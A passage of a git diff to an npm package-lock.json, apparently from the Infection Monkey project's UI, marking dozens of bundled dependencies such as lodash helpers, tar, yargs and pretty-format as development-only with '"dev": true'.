"bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.5.1", @@ -13807,6 +14066,7 @@ "libnpmsearch": { "version": "2.0.2", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1", "get-stream": "^4.0.0", @@ -13816,6 +14076,7 @@ "libnpmteam": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "aproba": "^2.0.0", "figgy-pudding": "^3.4.1", @@ -13826,6 +14087,7 @@ "libnpx": { "version": "10.2.4", "bundled": true, + "dev": true, "requires": { "dotenv": "^5.0.1", "npm-package-arg": "^6.0.0", @@ -13840,6 +14102,7 @@ "lock-verify": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "npm-package-arg": "^6.1.0", "semver": "^5.4.1" @@ -13848,17 +14111,20 @@ "lockfile": { "version": "1.0.4", "bundled": true, + "dev": true, "requires": { "signal-exit": "^3.0.2" } }, "lodash._baseindexof": { "version": "3.1.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash._baseuniq": { "version": "4.6.0", "bundled": true, + "dev": true, "requires": { "lodash._createset": "~4.0.0", "lodash._root": "~3.0.0" @@ -13866,58 +14132,71 @@ }, "lodash._bindcallback": { "version": "3.0.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash._cacheindexof": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true }, "lodash._createcache": { "version": "3.1.2", "bundled": true, + "dev": true, "requires": { "lodash._getnative": "^3.0.0" } }, "lodash._createset": { "version": "4.0.3", - "bundled": true + "bundled": true, + "dev": true }, "lodash._getnative": { "version": "3.9.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash._root": { "version": "3.0.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash.clonedeep": { "version": "4.5.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash.restparam": { "version": "3.6.1", - "bundled": true + "bundled": true, + "dev": true }, "lodash.union": { "version": "4.6.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash.uniq": { "version": "4.5.0", - "bundled": true + "bundled": true, + "dev": true }, "lodash.without": { "version": "4.4.0", - "bundled": true + "bundled": true, + "dev": true }, "lowercase-keys": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "lru-cache": { "version": "5.1.1", "bundled": true, + "dev": true, "requires": { "yallist": "^3.0.2" } @@ -13925,6 +14204,7 @@ "make-dir": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "pify": "^3.0.0" } @@ -13932,6 +14212,7 @@ "make-fetch-happen": { "version": "5.0.2", "bundled": true, + "dev": true, "requires": { "agentkeepalive": "^3.4.1", "cacache": "^12.0.0", @@ -13948,15 +14229,18 @@ }, "meant": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "mime-db": { "version": "1.35.0", - "bundled": true + "bundled": true, + "dev": true }, "mime-types": { "version": "2.1.19", "bundled": true, + "dev": true, "requires": { "mime-db": "~1.35.0" } @@ -13964,17 +14248,20 @@ "minimatch": { "version": "3.0.4", "bundled": true, + "dev": true, "requires": { "brace-expansion": "^1.1.7" } }, "minimist": { "version": "1.2.5", - "bundled": true + "bundled": true, + "dev": true }, "minizlib": { "version": "1.3.3", "bundled": true, + "dev": true, "requires": { "minipass": "^2.9.0" }, @@ -13982,6 +14269,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -13992,6 +14280,7 @@ "mississippi": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "concat-stream": "^1.5.0", "duplexify": "^3.4.2", @@ -14008,19 +14297,22 @@ "mkdirp": { "version": "0.5.5", "bundled": true, + "dev": true, "requires": { "minimist": "^1.2.5" }, "dependencies": { "minimist": { "version": "1.2.5", - "bundled": true + "bundled": true, + "dev": true } } }, "move-concurrently": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.1", "copy-concurrently": "^1.0.0", @@ -14032,21 +14324,25 @@ "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "ms": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "mute-stream": { "version": "0.0.7", - "bundled": true + "bundled": true, + "dev": true }, "node-fetch-npm": { "version": "2.0.2", "bundled": true, + "dev": true, "requires": { "encoding": "^0.1.11", "json-parse-better-errors": "^1.0.0", @@ -14056,6 +14352,7 @@ "node-gyp": { "version": "5.1.0", "bundled": true, + "dev": true, "requires": { "env-paths": "^2.2.0", "glob": "^7.1.4", @@ -14073,6 +14370,7 @@ "nopt": { "version": "4.0.3", "bundled": true, + "dev": true, "requires": { "abbrev": "1", "osenv": "^0.1.4" @@ -14081,6 +14379,7 @@ "normalize-package-data": { "version": "2.5.0", "bundled": true, + "dev": true, "requires": { "hosted-git-info": "^2.1.4", "resolve": "^1.10.0", @@ -14091,6 +14390,7 @@ "resolve": { "version": "1.10.0", "bundled": true, + "dev": true, "requires": { "path-parse": "^1.0.6" } @@ -14100,6 +14400,7 @@ "npm-audit-report": { "version": "1.3.3", "bundled": true, + "dev": true, "requires": { "cli-table3": "^0.5.0", "console-control-strings": "^1.1.0" @@ -14108,17 +14409,20 @@ "npm-bundled": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "npm-normalize-package-bin": "^1.0.1" } }, "npm-cache-filename": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "npm-install-checks": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "semver": "^2.3.0 || 3.x || 4 || 5" } @@ -14126,6 +14430,7 @@ "npm-lifecycle": { "version": "3.1.5", "bundled": true, + "dev": true, "requires": { "byline": "^5.0.0", "graceful-fs": "^4.1.15", @@ -14139,15 +14444,18 @@ }, "npm-logical-tree": { "version": "1.2.1", - "bundled": true + "bundled": true, + "dev": true }, "npm-normalize-package-bin": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "npm-package-arg": { "version": "6.1.1", "bundled": true, + "dev": true, "requires": { "hosted-git-info": "^2.7.1", "osenv": "^0.1.5", @@ -14158,6 +14466,7 @@ "npm-packlist": { "version": "1.4.8", "bundled": true, + "dev": true, "requires": { "ignore-walk": "^3.0.1", "npm-bundled": "^1.0.1", @@ -14167,6 +14476,7 @@ "npm-pick-manifest": { "version": "3.0.2", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1", "npm-package-arg": "^6.0.0", @@ -14176,6 +14486,7 @@ "npm-profile": { "version": "4.0.4", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.2 || 2", "figgy-pudding": "^3.4.1", @@ -14185,6 +14496,7 @@ "npm-registry-fetch": { "version": "4.0.7", "bundled": true, + "dev": true, "requires": { "JSONStream": "^1.3.4", "bluebird": "^3.5.1", @@ -14197,24 +14509,28 @@ "dependencies": { "safe-buffer": { "version": "5.2.1", - "bundled": true + "bundled": true, + "dev": true } } }, "npm-run-path": { "version": "2.0.2", "bundled": true, + "dev": true, "requires": { "path-key": "^2.0.0" } }, "npm-user-validate": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "npmlog": { "version": "4.1.2", "bundled": true, + "dev": true, "requires": { "are-we-there-yet": "~1.1.2", "console-control-strings": "~1.1.0", @@ -14224,23 +14540,28 @@ }, "number-is-nan": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "oauth-sign": { "version": "0.9.0", - "bundled": true + "bundled": true, + "dev": true }, "object-assign": { "version": "4.1.1", - "bundled": true + "bundled": true, + "dev": true }, "object-keys": { "version": "1.0.12", - "bundled": true + "bundled": true, + "dev": true }, "object.getownpropertydescriptors": { "version": "2.0.3", "bundled": true, + "dev": true, "requires": { "define-properties": "^1.1.2", "es-abstract": "^1.5.1" @@ -14249,25 +14570,30 @@ "once": { "version": "1.4.0", "bundled": true, + "dev": true, "requires": { "wrappy": "1" } }, "opener": { "version": "1.5.2", - "bundled": true + "bundled": true, + "dev": true }, "os-homedir": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "os-tmpdir": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "osenv": { "version": "0.1.5", "bundled": true, + "dev": true, "requires": { "os-homedir": "^1.0.0", "os-tmpdir": "^1.0.0" @@ -14275,11 +14601,13 @@ }, "p-finally": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "package-json": { "version": "4.0.1", "bundled": true, + "dev": true, "requires": { "got": "^6.7.1", "registry-auth-token": "^3.0.1", @@ -14290,6 +14618,7 @@ "pacote": { "version": "9.5.12", "bundled": true, + "dev": true, "requires": { "bluebird": "^3.5.3", "cacache": "^12.0.2", @@ -14326,6 +14655,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -14336,6 +14666,7 @@ "parallel-transform": { "version": "1.1.0", "bundled": true, + "dev": true, "requires": { "cyclist": "~0.2.2", "inherits": "^2.0.3", @@ -14345,6 +14676,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -14358,6 +14690,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -14366,47 +14699,58 @@ }, "path-exists": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "path-is-absolute": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "path-is-inside": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "path-key": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "path-parse": { "version": "1.0.6", - "bundled": true + "bundled": true, + "dev": true }, "performance-now": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "pify": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "prepend-http": { "version": "1.0.4", - "bundled": true + "bundled": true, + "dev": true }, "process-nextick-args": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "promise-inflight": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "promise-retry": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "err-code": "^1.0.0", "retry": "^0.10.0" @@ -14414,43 +14758,51 @@ "dependencies": { "retry": { "version": "0.10.1", - "bundled": true + "bundled": true, + "dev": true } } }, "promzard": { "version": "0.3.0", "bundled": true, + "dev": true, "requires": { "read": "1" } }, "proto-list": { "version": "1.2.4", - "bundled": true + "bundled": true, + "dev": true }, "protoduck": { "version": "5.0.1", "bundled": true, + "dev": true, "requires": { "genfun": "^5.0.0" } }, "prr": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "pseudomap": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "psl": { "version": "1.1.29", - "bundled": true + "bundled": true, + "dev": true }, "pump": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -14459,6 +14811,7 @@ "pumpify": { "version": "1.5.1", "bundled": true, + "dev": true, "requires": { "duplexify": "^3.6.0", "inherits": "^2.0.3", @@ -14468,6 +14821,7 @@ "pump": { "version": "2.0.1", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -14477,19 +14831,23 @@ }, "punycode": { "version": "1.4.1", - "bundled": true + "bundled": true, + "dev": true }, "qrcode-terminal": { "version": "0.12.0", - "bundled": true + "bundled": true, + "dev": true }, "qs": { "version": "6.5.2", - "bundled": true + "bundled": true, + "dev": true }, "query-string": { "version": "6.8.2", "bundled": true, + "dev": true, "requires": { "decode-uri-component": "^0.2.0", "split-on-first": "^1.0.0", @@ -14498,11 +14856,13 @@ }, "qw": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "rc": { "version": "1.2.8", "bundled": true, + "dev": true, "requires": { "deep-extend": "^0.6.0", "ini": "~1.3.0", @@ -14513,6 +14873,7 @@ "read": { "version": "1.0.7", "bundled": true, + "dev": true, "requires": { "mute-stream": "~0.0.4" } @@ -14520,6 +14881,7 @@ "read-cmd-shim": { "version": "1.0.5", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2" } @@ -14527,6 +14889,7 @@ "read-installed": { "version": "4.0.3", "bundled": true, + "dev": true, "requires": { "debuglog": "^1.0.1", "graceful-fs": "^4.1.2", @@ -14540,6 +14903,7 @@ "read-package-json": { "version": "2.1.1", "bundled": true, + "dev": true, "requires": { "glob": "^7.1.1", "graceful-fs": "^4.1.2", @@ -14551,6 +14915,7 @@ "read-package-tree": { "version": "5.3.1", "bundled": true, + "dev": true, "requires": { "read-package-json": "^2.0.0", "readdir-scoped-modules": "^1.0.0", @@ -14560,6 +14925,7 @@ "readable-stream": { "version": "3.6.0", "bundled": true, + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -14569,6 +14935,7 @@ "readdir-scoped-modules": { "version": "1.1.0", "bundled": true, + "dev": true, "requires": { "debuglog": "^1.0.1", "dezalgo": "^1.0.0", @@ -14579,6 +14946,7 @@ "registry-auth-token": { "version": "3.4.0", "bundled": true, + "dev": true, "requires": { "rc": "^1.1.6", "safe-buffer": "^5.0.1" @@ -14587,6 +14955,7 @@ "registry-url": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "rc": "^1.0.1" } @@ -14594,6 +14963,7 @@ "request": { "version": "2.88.0", "bundled": true, + "dev": true, "requires": { "aws-sign2": "~0.7.0", "aws4": "^1.8.0", @@ -14619,23 +14989,28 @@ }, "require-directory": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true }, "require-main-filename": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "resolve-from": { "version": "4.0.0", - "bundled": true + "bundled": true, + "dev": true }, "retry": { "version": "0.12.0", - "bundled": true + "bundled": true, + "dev": true }, "rimraf": { "version": "2.7.1", "bundled": true, + "dev": true, "requires": { "glob": "^7.1.3" } @@ -14643,42 +15018,50 @@ "run-queue": { "version": "1.0.3", "bundled": true, + "dev": true, "requires": { "aproba": "^1.1.1" }, "dependencies": { "aproba": { "version": "1.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "safe-buffer": { "version": "5.1.2", - "bundled": true + "bundled": true, + "dev": true }, "safer-buffer": { "version": "2.1.2", - "bundled": true + "bundled": true, + "dev": true }, "semver": { "version": "5.7.1", - "bundled": true + "bundled": true, + "dev": true }, "semver-diff": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "semver": "^5.0.3" } }, "set-blocking": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "sha": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.2" } @@ -14686,29 +15069,35 @@ "shebang-command": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "shebang-regex": "^1.0.0" } }, "shebang-regex": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "signal-exit": { "version": "3.0.2", - "bundled": true + "bundled": true, + "dev": true }, "slide": { "version": "1.1.6", - "bundled": true + "bundled": true, + "dev": true }, "smart-buffer": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "socks": { "version": "2.3.3", "bundled": true, + "dev": true, "requires": { "ip": "1.1.5", "smart-buffer": "^4.1.0" @@ -14717,6 +15106,7 @@ "socks-proxy-agent": { "version": "4.0.2", "bundled": true, + "dev": true, "requires": { "agent-base": "~4.2.1", "socks": "~2.3.2" @@ -14725,6 +15115,7 @@ "agent-base": { "version": "4.2.1", "bundled": true, + "dev": true, "requires": { "es6-promisify": "^5.0.0" } @@ -14733,11 +15124,13 @@ }, "sorted-object": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "sorted-union-stream": { "version": "2.1.3", "bundled": true, + "dev": true, "requires": { "from2": "^1.3.0", "stream-iterate": "^1.1.0" @@ -14746,6 +15139,7 @@ "from2": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "inherits": "~2.0.1", "readable-stream": "~1.1.10" @@ -14753,11 +15147,13 @@ }, "isarray": { "version": "0.0.1", - "bundled": true + "bundled": true, + "dev": true }, "readable-stream": { "version": "1.1.14", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.1", @@ -14767,13 +15163,15 @@ }, "string_decoder": { "version": "0.10.31", - "bundled": true + "bundled": true, + "dev": true } } }, "spdx-correct": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "spdx-expression-parse": "^3.0.0", "spdx-license-ids": "^3.0.0" @@ -14781,11 +15179,13 @@ }, "spdx-exceptions": { "version": "2.1.0", - "bundled": true + "bundled": true, + "dev": true }, "spdx-expression-parse": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "spdx-exceptions": "^2.1.0", "spdx-license-ids": "^3.0.0" @@ -14793,15 +15193,18 @@ }, "spdx-license-ids": { "version": "3.0.5", - "bundled": true + "bundled": true, + "dev": true }, "split-on-first": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "sshpk": { "version": "1.14.2", "bundled": true, + "dev": true, "requires": { "asn1": "~0.2.3", "assert-plus": "^1.0.0", @@ -14817,6 +15220,7 @@ "ssri": { "version": "6.0.2", "bundled": true, + "dev": true, "requires": { "figgy-pudding": "^3.5.1" } @@ -14824,6 +15228,7 @@ "stream-each": { "version": "1.2.2", "bundled": true, + "dev": true, "requires": { "end-of-stream": "^1.1.0", "stream-shift": "^1.0.0" @@ -14832,6 +15237,7 @@ "stream-iterate": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "readable-stream": "^2.1.5", "stream-shift": "^1.0.0" @@ -14840,6 +15246,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -14853,6 +15260,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -14861,15 +15269,18 @@ }, "stream-shift": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "strict-uri-encode": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "2.1.1", "bundled": true, + "dev": true, "requires": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" @@ -14877,15 +15288,18 @@ "dependencies": { "ansi-regex": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "strip-ansi": { "version": "4.0.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^3.0.0" } @@ -14895,38 +15309,45 @@ "string_decoder": { "version": "1.3.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.2.0" }, "dependencies": { "safe-buffer": { "version": "5.2.0", - "bundled": true + "bundled": true, + "dev": true } } }, "stringify-package": { "version": "1.0.1", - "bundled": true + "bundled": true, + "dev": true }, "strip-ansi": { "version": "3.0.1", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^2.0.0" } }, "strip-eof": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "strip-json-comments": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "supports-color": { "version": "5.4.0", "bundled": true, + "dev": true, "requires": { "has-flag": "^3.0.0" } @@ -14934,6 +15355,7 @@ "tar": { "version": "4.4.13", "bundled": true, + "dev": true, "requires": { "chownr": "^1.1.1", "fs-minipass": "^1.2.5", @@ -14947,6 +15369,7 @@ "minipass": { "version": "2.9.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.1.2", "yallist": "^3.0.0" @@ -14957,21 +15380,25 @@ "term-size": { "version": "1.2.0", "bundled": true, + "dev": true, "requires": { "execa": "^0.7.0" } }, "text-table": { "version": "0.2.0", - "bundled": true + "bundled": true, + "dev": true }, "through": { "version": "2.3.8", - "bundled": true + "bundled": true, + "dev": true }, "through2": { "version": "2.0.3", "bundled": true, + "dev": true, "requires": { "readable-stream": "^2.1.5", "xtend": "~4.0.1" @@ -14980,6 +15407,7 @@ "readable-stream": { "version": "2.3.6", "bundled": true, + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -14993,6 +15421,7 @@ "string_decoder": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "safe-buffer": "~5.1.0" } @@ -15001,15 +15430,18 @@ }, "timed-out": { "version": "4.0.1", - "bundled": true + "bundled": true, + "dev": true }, "tiny-relative-date": { "version": "1.3.0", - "bundled": true + "bundled": true, + "dev": true }, "tough-cookie": { "version": "2.4.3", "bundled": true, + "dev": true, "requires": { "psl": "^1.1.24", "punycode": "^1.4.1" @@ -15018,6 +15450,7 @@ "tunnel-agent": { "version": "0.6.0", "bundled": true, + "dev": true, "requires": { "safe-buffer": "^5.0.1" } @@ -15025,23 +15458,28 @@ "tweetnacl": { "version": "0.14.5", "bundled": true, + "dev": true, "optional": true }, "typedarray": { "version": "0.0.6", - "bundled": true + "bundled": true, + "dev": true }, "uid-number": { "version": "0.0.6", - "bundled": true + "bundled": true, + "dev": true }, "umask": { "version": "1.1.0", - "bundled": true + "bundled": true, + "dev": true }, "unique-filename": { "version": "1.1.1", "bundled": true, + "dev": true, "requires": { "unique-slug": "^2.0.0" } @@ -15049,6 +15487,7 @@ "unique-slug": { "version": "2.0.0", "bundled": true, + "dev": true, "requires": { "imurmurhash": "^0.1.4" } @@ -15056,21 +15495,25 @@ "unique-string": { "version": "1.0.0", "bundled": true, + "dev": true, "requires": { "crypto-random-string": "^1.0.0" } }, "unpipe": { "version": "1.0.0", - "bundled": true + "bundled": true, + "dev": true }, "unzip-response": { "version": "2.0.1", - "bundled": true + "bundled": true, + "dev": true }, "update-notifier": { "version": "2.5.0", "bundled": true, + "dev": true, "requires": { "boxen": "^1.2.1", "chalk": "^2.0.1", @@ -15087,45 +15530,53 @@ "uri-js": { "version": "4.4.0", "bundled": true, + "dev": true, "requires": { "punycode": "^2.1.0" }, "dependencies": { "punycode": { "version": "2.1.1", - "bundled": true + "bundled": true, + "dev": true } } }, "url-parse-lax": { "version": "1.0.0", "bundled": true, + "dev": true, "requires": { "prepend-http": "^1.0.1" } }, "util-deprecate": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "util-extend": { "version": "1.0.3", - "bundled": true + "bundled": true, + "dev": true }, "util-promisify": { "version": "2.1.0", "bundled": true, + "dev": true, "requires": { "object.getownpropertydescriptors": "^2.0.3" } }, "uuid": { "version": "3.3.3", - "bundled": true + "bundled": true, + "dev": true }, "validate-npm-package-license": { "version": "3.0.4", "bundled": true, + "dev": true, "requires": { "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0" @@ -15134,6 +15585,7 @@ "validate-npm-package-name": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "builtins": "^1.0.3" } @@ -15141,6 +15593,7 @@ "verror": { "version": "1.10.0", "bundled": true, + "dev": true, "requires": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", @@ -15150,6 +15603,7 @@ "wcwidth": { "version": "1.0.1", "bundled": true, + "dev": true, "requires": { "defaults": "^1.0.3" } @@ -15157,17 +15611,20 @@ "which": { "version": "1.3.1", "bundled": true, + "dev": true, "requires": { "isexe": "^2.0.0" } }, "which-module": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "wide-align": { "version": "1.1.2", "bundled": true, + "dev": true, "requires": { "string-width": "^1.0.2" }, @@ -15175,6 +15632,7 @@ "string-width": { "version": "1.0.2", "bundled": true, + "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -15186,6 +15644,7 @@ "widest-line": { "version": "2.0.1", "bundled": true, + "dev": true, "requires": { "string-width": "^2.1.1" } @@ -15193,6 +15652,7 @@ "worker-farm": { "version": "1.7.0", "bundled": true, + "dev": true, "requires": { "errno": "~0.1.7" } @@ -15200,6 +15660,7 @@ "wrap-ansi": { "version": "5.1.0", "bundled": true, + "dev": true, "requires": { "ansi-styles": "^3.2.0", "string-width": "^3.0.0", @@ -15208,15 +15669,18 @@ "dependencies": { "ansi-regex": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -15226,6 +15690,7 @@ "strip-ansi": { "version": "5.2.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -15234,11 +15699,13 @@ }, "wrappy": { "version": "1.0.2", - "bundled": true + "bundled": true, + "dev": true }, "write-file-atomic": { "version": "2.4.3", "bundled": true, + "dev": true, "requires": { "graceful-fs": "^4.1.11", "imurmurhash": "^0.1.4", @@ -15247,23 +15714,28 @@ }, "xdg-basedir": { "version": "3.0.0", - "bundled": true + "bundled": true, + "dev": true }, "xtend": { "version": "4.0.1", - "bundled": true + "bundled": true, + "dev": true }, "y18n": { "version": "4.0.1", - "bundled": true + "bundled": true, + "dev": true }, "yallist": { "version": "3.0.3", - "bundled": true + "bundled": true, + "dev": true }, "yargs": { "version": "14.2.3", "bundled": true, + "dev": true, "requires": { "cliui": "^5.0.0", "decamelize": "^1.2.0", @@ -15280,22 +15752,26 @@ "dependencies": { "ansi-regex": { "version": "4.1.0", - "bundled": true + "bundled": true, + "dev": true }, "find-up": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "locate-path": "^3.0.0" } }, "is-fullwidth-code-point": { "version": "2.0.0", - "bundled": true + "bundled": true, + "dev": true }, "locate-path": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-locate": "^3.0.0", "path-exists": "^3.0.0" @@ -15304,6 +15780,7 @@ "p-limit": { "version": "2.3.0", "bundled": true, + "dev": true, "requires": { "p-try": "^2.0.0" } @@ -15311,17 +15788,20 @@ "p-locate": { "version": "3.0.0", "bundled": true, + "dev": true, "requires": { "p-limit": "^2.0.0" } }, "p-try": { "version": "2.2.0", - "bundled": true + "bundled": true, + "dev": true }, "string-width": { "version": "3.1.0", "bundled": true, + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -15331,6 +15811,7 @@ "strip-ansi": { "version": "5.2.0", "bundled": true, + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -15340,6 +15821,7 @@ "yargs-parser": { "version": "15.0.1", "bundled": true, + "dev": true, "requires": { "camelcase": "^5.0.0", "decamelize": "^1.2.0" @@ -15347,7 +15829,8 @@ "dependencies": { "camelcase": { "version": "5.3.1", - "bundled": true + "bundled": true, + "dev": true } } } @@ -16673,6 +17156,7 @@ "version": "26.6.2", "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "dev": true, "requires": { "@jest/types": "^26.6.2", "ansi-regex": "^5.0.0", @@ -16683,12 +17167,14 @@ "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==" + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { "color-convert": "^2.0.1" } @@ -16697,6 +17183,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -16704,12 +17191,14 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "react-is": { "version": "17.0.2", "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", - "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true } } }, diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 1e164ba477b..1a591e508df 